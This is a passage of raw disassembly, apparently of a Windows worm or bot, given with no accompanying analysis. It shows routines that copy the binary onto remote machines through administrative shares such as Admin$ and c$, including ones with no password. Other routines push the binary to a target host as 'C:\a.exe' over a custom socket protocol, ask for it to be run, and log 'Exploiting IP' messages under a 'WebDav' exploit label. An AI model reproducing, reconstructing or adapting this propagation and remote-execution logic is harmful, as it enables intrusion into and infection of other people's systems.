ptr [ebp+0CCh] lea eax, [ebp-4B0h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_415EDA: ; CODE XREF: .text:00415EBBj lea eax, [ebp-4B0h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax jmp loc_415E77 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F00 proc near ; CODE XREF: sub_416179+37p var_6F0 = byte ptr -6F0h var_4E8 = byte ptr -4E8h var_2E8 = byte ptr -2E8h var_15D = byte ptr -15Dh var_158 = byte ptr -158h var_54 = byte ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_34 = byte ptr 3Ch arg_C8 = dword ptr 0D0h arg_D0 = dword ptr 0D8h arg_D4 = dword ptr 0DCh push ebp mov ebp, esp sub esp, 6F0h push ebx push esi mov esi, [ebp+arg_8] push edi push 8 pop ecx xor ebx, ebx push ebx push [ebp+arg_0] xor eax, eax push [ebp+arg_4] lea edi, [ebp+var_54] rep stosd lea eax, [ebp+var_54] push eax mov [ebp+var_40], esi mov [ebp+var_50], 1 mov [ebp+var_44], ebx mov [ebp+var_38], ebx call dword_43A464 test eax, eax jz short loc_415F4D push 0Ah call dword_422000 ; Sleep jmp loc_416165 ; --------------------------------------------------------------------------- loc_415F4D: ; CODE XREF: sub_415F00+3Ej push 190h lea eax, [ebp+var_2E8] push eax push 0FFFFFFFFh push esi push ebx push ebx mov [ebp+var_20], offset aAdminSystem32 ; "Admin$\\system32" mov [ebp+var_1C], offset aCWinntSystem32 ; "c$\\winnt\\system32" mov [ebp+var_18], offset aCWindowsSystem ; "c$\\windows\\system32" mov [ebp+var_14], offset aC ; "c" mov [ebp+var_10], offset aD ; "d" mov [ebp+var_8], ebx call dword_4220D4 ; MultiByteToWideChar lea eax, [ebp+var_8] push eax lea eax, [ebp+var_2E8] push eax call dword_43A32C test eax, eax jnz loc_416162 cmp [ebp+var_8], ebx jz loc_416162 mov edi, dword_4220FC mov [ebp+var_4], ebx mov esi, offset byte_42FD4C loc_415FBA: ; CODE XREF: sub_415F00+14Fj mov eax, [ebp+var_4] push esi push [ebp+eax*4+var_20] lea eax, [ebp+var_158] push [ebp+arg_8] push offset aSSS_3 ; "%s\\%s\\%s" push eax call sub_416975 add esp, 14h push ebx lea eax, [ebp+var_158] push eax push esi call edi ; CopyFileA cmp eax, ebx mov [ebp+var_C], eax jnz short loc_416068 call dword_422008 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_416048 lea eax, [ebp+var_158] push ebx push eax call sub_4172A4 test eax, eax pop ecx pop ecx jnz short loc_416048 lea eax, [ebp+var_158] lea edx, [eax+1] loc_416012: ; CODE XREF: sub_415F00+117j mov cl, [eax] inc eax cmp cl, bl jnz short loc_416012 sub eax, edx mov [ebp+var_C], eax call sub_416B31 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_C] push ebx add dl, 30h mov [ebp+eax+var_15D], dl lea eax, [ebp+var_158] push eax push esi call edi ; CopyFileA cmp eax, ebx mov [ebp+var_C], eax jnz short loc_416068 loc_416048: ; CODE XREF: sub_415F00+F4j ; sub_415F00+107j inc [ebp+var_4] cmp [ebp+var_4], 5 jb loc_415FBA cmp [ebp+var_C], ebx jnz short loc_416068 push [ebp+var_8] call dword_43A3F8 jmp loc_416165 ; --------------------------------------------------------------------------- loc_416068: ; CODE XREF: sub_415F00+E9j ; sub_415F00+146j ... mov ecx, [ebp+var_8] mov eax, [ecx] push 3Ch pop edi xor edx, edx div edi xor edx, edx lea edi, [ebp+var_34] push 208h sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx xor eax, eax stosd stosd stosd stosd lea eax, [ebp+var_6F0] push eax push 0FFFFFFFFh push esi push ebx push ebx imul edx, 0EA60h mov [ebp+var_34], edx call dword_4220D4 ; MultiByteToWideChar lea eax, [ebp+var_6F0] mov [ebp+var_28], eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2E8] push eax call dword_43A368 test eax, eax jnz loc_416162 mov eax, [ebp+arg_4] xor ecx, ecx inc ecx mov edi, 422B02h mov esi, eax xor edx, edx repe cmpsb jnz short loc_4160E9 mov eax, offset aNoPassword ; "(no password)" loc_4160E9: ; CODE XREF: sub_415F00+1E2j push eax push [ebp+arg_0] mov eax, [ebp+var_4] push [ebp+eax*4+var_20] mov eax, [ebp+arg_C8] push [ebp+arg_8] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingI_0 ; "[%s]: Exploiting IP: %s, Share: \\%s, Us"... lea eax, [ebp+var_4E8] push 200h push eax call sub_416BCD add esp, 20h cmp [ebp+arg_D4], ebx jnz short loc_416144 push ebx push [ebp+arg_D0] lea eax, [ebp+var_4E8] push eax lea eax, [ebp+arg_34] push eax push [ebp+arg_C] call sub_405D62 add esp, 14h loc_416144: ; CODE XREF: sub_415F00+225j lea eax, [ebp+var_4E8] push eax call sub_401F0F mov eax, [ebp+arg_C8] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] pop ecx loc_416162: ; CODE XREF: sub_415F00+9Dj ; sub_415F00+A6j ... xor ebx, ebx inc ebx loc_416165: ; CODE XREF: sub_415F00+48j ; sub_415F00+163j push 1 push 1 push [ebp+arg_8] call dword_43A398 pop edi pop esi mov eax, ebx pop ebx leave retn sub_415F00 endp ; =============== S U B R O U T I N E ======================================= sub_416179 proc near ; CODE XREF: .text:00416311p ; .text:00416388p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch cmp dword_42FF90, 0 push ebx push esi push edi jz short loc_4161D5 mov eax, offset dword_42FF90 mov ebx, eax loc_41618C: ; CODE XREF: sub_416179+5Aj sub esp, 0D0h push 34h pop ecx mov edi, esp push [esp+0DCh+arg_4] lea esi, [esp+0E0h+arg_8] push dword ptr [eax] rep movsd push [esp+0E4h+arg_0] call sub_415F00 add esp, 0DCh cmp eax, 1 jz short loc_4161DB push 0C8h call dword_422000 ; Sleep add ebx, 4 cmp dword ptr [ebx], 0 mov eax, ebx jnz short loc_41618C loc_4161D5: ; CODE XREF: sub_416179+Aj xor eax, eax loc_4161D7: ; CODE XREF: sub_416179+65j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4161DB: ; CODE XREF: sub_416179+45j xor eax, eax inc eax jmp short loc_4161D7 sub_416179 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 62Ch push ebx push esi push edi lea eax, [ebp+0Ch] push eax xor ebx, ebx lea eax, [ebp-30h] push offset aS_5 ; "\\\\%s" push eax mov [ebp-4], ebx mov [ebp-14h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx call sub_416975 add esp, 0Ch push 3E8h lea eax, [ebp-62Ch] push eax push 0FFFFFFFFh lea eax, [ebp-30h] push eax push ebx push ebx call dword_4220D4 ; MultiByteToWideChar lea eax, [ebp-30h] push eax lea eax, [ebp-118h] push offset aSIpc_0 ; "%s\\ipc$" push eax mov [ebp-40h], ebx mov [ebp-34h], ebx mov [ebp-4Ch], ebx call sub_416975 add esp, 0Ch lea eax, [ebp-118h] mov [ebp-3Ch], eax push ebx mov eax, 422B02h push eax push eax lea eax, [ebp-50h] push eax call dword_43A464 test eax, eax jz short loc_416280 push 1 push ebx lea eax, [ebp-118h] push eax call dword_43A398 xor eax, eax jmp loc_4163A8 ; --------------------------------------------------------------------------- loc_416280: ; CODE XREF: .text:00416267j ; .text:00416348j lea eax, [ebp-18h] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-14h] push eax push 0FFFFFFFFh lea eax, [ebp-4] push eax push 2 push ebx lea eax, [ebp-62Ch] push eax call dword_43A39C push 1 mov [ebp-0Ch], eax push ebx lea eax, [ebp-118h] push eax call dword_43A398 cmp [ebp-0Ch], ebx jz short loc_4162C3 cmp dword ptr [ebp-0Ch], 0EAh jnz short loc_416330 loc_4162C3: ; CODE XREF: .text:004162B8j mov eax, [ebp-4] cmp eax, ebx mov [ebp-10h], eax jz short loc_416341 cmp [ebp-14h], ebx mov [ebp-8], ebx jbe short loc_416330 loc_4162D5: ; CODE XREF: .text:0041632Ej mov eax, [ebp-10h] cmp eax, ebx jz short loc_416330 push ebx push ebx push 12Ch lea ecx, [ebp-244h] push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call dword_4220D8 ; WideCharToMultiByte sub esp, 0D0h push 34h pop ecx mov edi, esp lea eax, [ebp-30h] push eax lea eax, [ebp-244h] lea esi, [ebp+8] push eax rep movsd call sub_416179 add esp, 0D8h cmp eax, 1 jz short loc_416330 add dword ptr [ebp-10h], 4 inc dword ptr [ebp-8] mov eax, [ebp-8] cmp eax, [ebp-14h] jb short loc_4162D5 loc_416330: ; CODE XREF: .text:004162C1j ; .text:004162D3j ... cmp [ebp-4], ebx jz short loc_416341 push dword ptr [ebp-4] call dword_43A3F8 mov [ebp-4], ebx loc_416341: ; CODE XREF: .text:004162CBj ; .text:00416333j cmp dword ptr [ebp-0Ch], 0EAh jz loc_416280 cmp [ebp-4], ebx jz short loc_41635C push dword ptr [ebp-4] call dword_43A3F8 loc_41635C: ; CODE XREF: .text:00416351j cmp dword ptr [ebp-0Ch], 5 jnz short loc_4163A5 cmp off_42FF40, ebx jz short loc_4163A5 mov eax, offset off_42FF40 mov [ebp-8], eax loc_416372: ; CODE XREF: .text:004163A3j sub esp, 0D0h push 34h pop ecx mov edi, esp lea esi, [ebp+8] rep movsd lea ecx, [ebp-30h] push ecx push dword ptr [eax] call sub_416179 add esp, 0D8h cmp eax, 1 jz short loc_4163A5 mov eax, [ebp-8] add eax, 4 cmp [eax], ebx mov [ebp-8], eax jnz short loc_416372 loc_4163A5: ; CODE XREF: .text:00416360j ; .text:00416368j ... xor eax, eax inc eax loc_4163A8: ; CODE XREF: .text:0041627Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 698h and byte ptr [ebp-5], 0 lea eax, [ebp-508h] push eax push 202h call dword_43A3CC ; WSAStartup test eax, eax jz short loc_4163D4 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4163D4: ; CODE XREF: .text:004163CEj push ebx push esi push edi lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr push dword ptr [ebp+0BCh] mov [ebp-60h], eax call dword_43A514 ; ntohs push 6 push 1 push 2 mov [ebp-62h], ax mov word ptr [ebp-64h], 2 call dword_43A3BC ; socket push 10h lea ecx, [ebp-64h] push ecx push eax mov [ebp-4], eax call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_416823 mov ebx, 1F4h loc_416424: ; CODE XREF: .text:004164B6j cmp byte ptr [ebp-5], 1 lea eax, [ebp-4Ch] jnz short loc_416434 push offset a022moptestmv1_ ; "022OPtestv1.1\r\n" jmp short loc_416439 ; --------------------------------------------------------------------------- loc_416434: ; CODE XREF: .text:0041642Bj push offset a022moptestmv_0 ; "022OPtestv1.2\r\n" loc_416439: ; CODE XREF: .text:00416432j push eax call sub_416975 pop ecx lea eax, [ebp-4Ch] pop ecx lea edx, [eax+1] loc_416447: ; CODE XREF: .text:0041644Cj mov cl, [eax] inc eax test cl, cl jnz short loc_416447 push 0 sub eax, edx push eax lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A458 ; send mov esi, dword_422000 push ebx call esi ; Sleep push 10h pop ecx xor eax, eax push eax lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A324 ; recv lea eax, [ebp-4Ch] push offset a001myourClient ; "001Your client version is outdated!" push eax call sub_417440 test eax, eax pop ecx pop ecx jz short loc_4164C1 push dword ptr [ebp-4] mov byte ptr [ebp-5], 1 call dword_43A4D0 ; closesocket push 10h lea eax, [ebp-64h] push eax push dword ptr [ebp-4] call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jnz loc_416424 jmp loc_416823 ; --------------------------------------------------------------------------- loc_4164C1: ; CODE XREF: .text:00416495j lea eax, [ebp-4Ch] push offset a001m ; "001" push eax call sub_417440 test eax, eax pop ecx pop ecx jnz short loc_416549 push ebx call esi ; Sleep cmp byte ptr [ebp-5], 1 lea eax, [ebp-4Ch] jnz short loc_4164E8 push offset a022mmv1_1 ; "022v1.1\r\n" jmp short loc_4164ED ; --------------------------------------------------------------------------- loc_4164E8: ; CODE XREF: .text:004164DFj push offset a022mmv1_2 ; "022v1.2\r\n" loc_4164ED: ; CODE XREF: .text:004164E6j push eax call sub_416975 pop ecx lea eax, [ebp-4Ch] pop ecx lea edi, [eax+1] loc_4164FB: ; CODE XREF: .text:00416500j mov cl, [eax] inc eax test cl, cl jnz short loc_4164FB push 0 sub eax, edi push eax lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A458 ; send push ebx call esi ; Sleep push 10h pop ecx xor eax, eax push eax lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A324 ; recv lea eax, [ebp-4Ch] push offset a001m ; "001" push eax call sub_417440 test eax, eax pop ecx pop ecx jz loc_416823 loc_416549: ; CODE XREF: .text:004164D3j push 0 push 6 push offset a019m ; "019\r\n" push dword ptr [ebp-4] call dword_43A458 ; send push ebx call esi ; Sleep push 10h pop ecx xor eax, eax push eax lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A324 ; recv push 7 mov edi, offset a020m ; "020\r\n" lea esi, [ebp-4Ch] pop ecx xor eax, eax repe cmpsb jnz loc_416823 push 41h pop ecx lea edi, [ebp-178h] rep stosd push 104h lea eax, [ebp-178h] push eax xor esi, esi push esi call dword_422010 ; GetModuleFileNameA lea eax, [ebp-178h] push offset dword_422990 push eax call sub_41720C cmp eax, esi pop ecx pop ecx mov [ebp-50h], eax jz loc_416823 lea eax, [ebp-698h] push eax push 202h call dword_43A3CC ; WSAStartup test eax, eax jnz loc_416823 lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr push ebx mov [ebp-70h], eax call dword_43A514 ; ntohs push 6 push 1 push 2 mov [ebp-72h], ax mov word ptr [ebp-74h], 2 call dword_43A3BC ; socket push 10h lea ecx, [ebp-74h] push ecx push eax mov [ebp-0Ch], eax call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_41681A push esi push 80h push 3 push esi push 1 push 80000000h lea eax, [ebp-178h] push eax call dword_422034 ; CreateFileA mov edi, eax push esi push edi call dword_422094 ; GetFileSize push edi mov [ebp-54h], eax call dword_42202C ; CloseHandle push dword ptr [ebp-54h] lea eax, [ebp-4Ch] push offset aCA_exeD ; "C:\\a.exe\r\n%d\r\n" push eax call sub_416975 lea eax, [ebp-4Ch] add esp, 0Ch lea edi, [eax+1] loc_416673: ; CODE XREF: .text:00416678j mov cl, [eax] inc eax test cl, cl jnz short loc_416673 push esi sub eax, edi push eax lea eax, [ebp-4Ch] push eax push dword ptr [ebp-0Ch] call dword_43A458 ; send push ebx call dword_422000 ; Sleep push 10h pop ecx xor eax, eax push esi lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-0Ch] call dword_43A324 ; recv lea eax, [ebp-4Ch] push offset aOkRedy ; "+OK REDY" push eax call sub_417440 test eax, eax pop ecx pop ecx jz loc_41681A push 10h pop ecx xor eax, eax lea edi, [ebp-4Ch] rep stosd mov edi, [ebp-50h] jmp short loc_4166F3 ; --------------------------------------------------------------------------- loc_4166D3: ; CODE XREF: .text:004166F7j push edi push 40h lea eax, [ebp-4Ch] push 1 push eax call sub_416FB7 add esp, 10h push esi push eax lea eax, [ebp-4Ch] push eax push dword ptr [ebp-0Ch] call dword_43A458 ; send loc_4166F3: ; CODE XREF: .text:004166D1j test byte ptr [edi+0Ch], 10h jz short loc_4166D3 push 10h pop ecx xor eax, eax push esi lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-0Ch] call dword_43A324 ; recv lea eax, [ebp-4Ch] push offset aOkRcvd ; "+OK RCVD" push eax call sub_417440 test eax, eax pop ecx pop ecx jz loc_41681A push dword ptr [ebp-0Ch] call dword_43A4D0 ; closesocket push esi push 0Eh push offset a008mcA_exe ; "008C:\\a.exe\r\n" push dword ptr [ebp-4] call dword_43A458 ; send push ebx call dword_422000 ; Sleep push 10h pop ecx xor eax, eax push esi lea edi, [ebp-4Ch] rep stosd push 40h lea eax, [ebp-4Ch] push eax push dword ptr [ebp-4] call dword_43A324 ; recv push 1Bh mov edi, offset a001merrorExecu ; "001Error Executing File\r\n" lea esi, [ebp-4Ch] pop ecx xor eax, eax repe cmpsb jz loc_41681A xor esi, esi push esi push 6 push offset a100m ; "100\r\n" push dword ptr [ebp-4] call dword_43A458 ; send push dword ptr [ebp-0Ch] call dword_43A4D0 ; closesocket push dword ptr [ebp-4] call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-378h] push 200h push eax call sub_416BCD add esp, 14h cmp [ebp+0D0h], esi jnz short loc_4167F7 push esi push dword ptr [ebp+0CCh] lea eax, [ebp-378h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_4167F7: ; CODE XREF: .text:004167D8j lea eax, [ebp-378h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax jmp short loc_416834 ; --------------------------------------------------------------------------- loc_41681A: ; CODE XREF: .text:00416622j ; .text:004166BEj ... push dword ptr [ebp-0Ch] call dword_43A4D0 ; closesocket loc_416823: ; CODE XREF: .text:00416419j ; .text:004164BCj ... push dword ptr [ebp-4] call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup xor eax, eax loc_416834: ; CODE XREF: .text:00416818j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416840 proc near ; CODE XREF: start+5Cp start+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416904 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41686C loc_41685B: ; CODE XREF: sub_416840+2Aj mov al, [edi] add edi, 1 test al, al jz short loc_41689D test edi, 3 jnz short loc_41685B loc_41686C: ; CODE XREF: sub_416840+19j ; sub_416840+42j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41686C mov eax, [edi-4] test al, al jz short loc_4168AC test ah, ah jz short loc_4168A7 test eax, 0FF0000h jz short loc_4168A2 test eax, 0FF000000h jnz short loc_41686C loc_41689D: ; CODE XREF: sub_416840+22j sub edi, 1 jmp short loc_4168AF ; --------------------------------------------------------------------------- loc_4168A2: ; CODE XREF: sub_416840+54j sub edi, 2 jmp short loc_4168AF ; --------------------------------------------------------------------------- loc_4168A7: ; CODE XREF: sub_416840+4Dj sub edi, 3 jmp short loc_4168AF ; --------------------------------------------------------------------------- loc_4168AC: ; CODE XREF: sub_416840+49j sub edi, 4 loc_4168AF: ; CODE XREF: sub_416840+60j ; sub_416840+65j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_4168C4 mov ebx, ecx shr ecx, 2 jnz short loc_41691E jmp short loc_4168E6 ; --------------------------------------------------------------------------- loc_4168C4: ; CODE XREF: sub_416840+79j ; sub_416840+9Dj mov dl, [esi] add esi, 1 test dl, dl jz short loc_41690A mov [edi], dl add edi, 1 sub ecx, 1 jz short loc_416900 test esi, 3 jnz short loc_4168C4 mov ebx, ecx shr ecx, 2 jnz short loc_41691E loc_4168E6: ; CODE XREF: sub_416840+82j ; sub_416840+DCj mov ecx, ebx and ecx, 3 jz short loc_416900 loc_4168ED: ; CODE XREF: sub_416840+BEj mov dl, [esi] add esi, 1 mov [edi], dl add edi, 1 test dl, dl jz short loc_416902 sub ecx, 1 jnz short loc_4168ED loc_416900: ; CODE XREF: sub_416840+95j ; sub_416840+ABj mov [edi], cl loc_416902: ; CODE XREF: sub_416840+B9j pop ebx pop esi loc_416904: ; CODE XREF: sub_416840+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41690A: ; CODE XREF: sub_416840+8Bj ; sub_416840+FAj mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416914: ; CODE XREF: sub_416840+F6j ; sub_416840+10Ej mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_4168E6 loc_41691E: ; CODE XREF: sub_416840+80j ; sub_416840+A4j mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416914 test dl, dl jz short loc_41690A test dh, dh jz short loc_41696A test edx, 0FF0000h jz short loc_41695A test edx, 0FF000000h jnz short loc_416914 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41695A: ; CODE XREF: sub_416840+106j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41696A: ; CODE XREF: sub_416840+FEj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416975 proc near ; CODE XREF: start+19p start+48p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_418A1C add esp, 0Ch test esi, esi mov edi, eax jz short loc_4169C7 dec [ebp+var_1C] js short loc_4169BA mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4169C7 ; --------------------------------------------------------------------------- loc_4169BA: ; CODE XREF: sub_416975+3Bj lea eax, [ebp+var_20] push eax push 0 call sub_418875 pop ecx pop ecx loc_4169C7: ; CODE XREF: sub_416975+36j ; sub_416975+43j mov eax, edi pop edi pop esi leave retn sub_416975 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169D0 proc near ; CODE XREF: sub_401141+2C9p ; sub_409848+4521p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_4169F7 xor eax, eax jmp short loc_4169F9 ; --------------------------------------------------------------------------- loc_4169F7: ; CODE XREF: sub_4169D0+21j mov eax, edi loc_4169F9: ; CODE XREF: sub_4169D0+25j cld pop edi leave retn sub_4169D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416A00 proc near ; CODE XREF: sub_401141+6Ep ; sub_401141+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416A9F push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416A2C shr ecx, 2 jnz loc_416AAF jmp short loc_416A53 ; --------------------------------------------------------------------------- loc_416A2C: ; CODE XREF: sub_416A00+1Fj ; sub_416A00+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_416A66 test al, al jz short loc_416A6E test esi, 3 jnz short loc_416A2C mov ebx, ecx shr ecx, 2 jnz short loc_416AAF loc_416A4E: ; CODE XREF: sub_416A00+ADj and ebx, 3 jz short loc_416A66 loc_416A53: ; CODE XREF: sub_416A00+2Aj ; sub_416A00+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_416A98 sub ebx, 1 jnz short loc_416A53 loc_416A66: ; CODE XREF: sub_416A00+39j ; sub_416A00+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416A6E: ; CODE XREF: sub_416A00+3Dj test edi, 3 jz short loc_416A8C loc_416A76: ; CODE XREF: sub_416A00+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_416B1C test edi, 3 jnz short loc_416A76 loc_416A8C: ; CODE XREF: sub_416A00+74j mov ebx, ecx shr ecx, 2 jnz short loc_416B07 loc_416A93: ; CODE XREF: sub_416A00+9Bj ; sub_416A00+116j mov [edi], al add edi, 1 loc_416A98: ; CODE XREF: sub_416A00+5Fj sub ebx, 1 jnz short loc_416A93 pop ebx pop esi loc_416A9F: ; CODE XREF: sub_416A00+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416AA5: ; CODE XREF: sub_416A00+C7j ; sub_416A00+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_416A4E loc_416AAF: ; CODE XREF: sub_416A00+24j ; sub_416A00+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416AA5 test dl, dl jz short loc_416AF9 test dh, dh jz short loc_416AEF test edx, 0FF0000h jz short loc_416AE5 test edx, 0FF000000h jnz short loc_416AA5 mov [edi], edx jmp short loc_416AFD ; --------------------------------------------------------------------------- loc_416AE5: ; CODE XREF: sub_416A00+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_416AFD ; --------------------------------------------------------------------------- loc_416AEF: ; CODE XREF: sub_416A00+CFj and edx, 0FFh mov [edi], edx jmp short loc_416AFD ; --------------------------------------------------------------------------- loc_416AF9: ; CODE XREF: sub_416A00+CBj xor edx, edx mov [edi], edx loc_416AFD: ; CODE XREF: sub_416A00+E3j ; sub_416A00+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_416B13 loc_416B07: ; CODE XREF: sub_416A00+91j xor eax, eax loc_416B09: ; CODE XREF: sub_416A00+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_416B09 loc_416B13: ; CODE XREF: sub_416A00+105j and ebx, 3 jnz loc_416A93 loc_416B1C: ; CODE XREF: sub_416A00+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416A00 endp ; =============== S U B R O U T I N E ======================================= sub_416B24 proc near ; CODE XREF: sub_40195E+39p ; sub_402BA3+2Ep ... arg_0 = dword ptr 4 call sub_4191CF mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_416B24 endp ; =============== S U B R O U T I N E ======================================= sub_416B31 proc near ; CODE XREF: sub_4017E8+57p ; sub_4017E8:loc_40184Bp ... call sub_4191CF mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_416B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B53 proc near ; CODE XREF: sub_4017E8+4Ap ; sub_4042A2+23Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push eax mov [ebp+var_14], 49h mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_419D70 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax call sub_4192C5 add esp, 10h leave retn sub_416B53 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416B90 proc near ; CODE XREF: sub_40402D+8p ; sub_405163+Ap ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_416BA5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_416BA5: ; CODE XREF: sub_416B90+5j push ecx lea ecx, [esp+4+arg_0] loc_416BAA: ; CODE XREF: sub_416B90+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BAA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416B90 endp 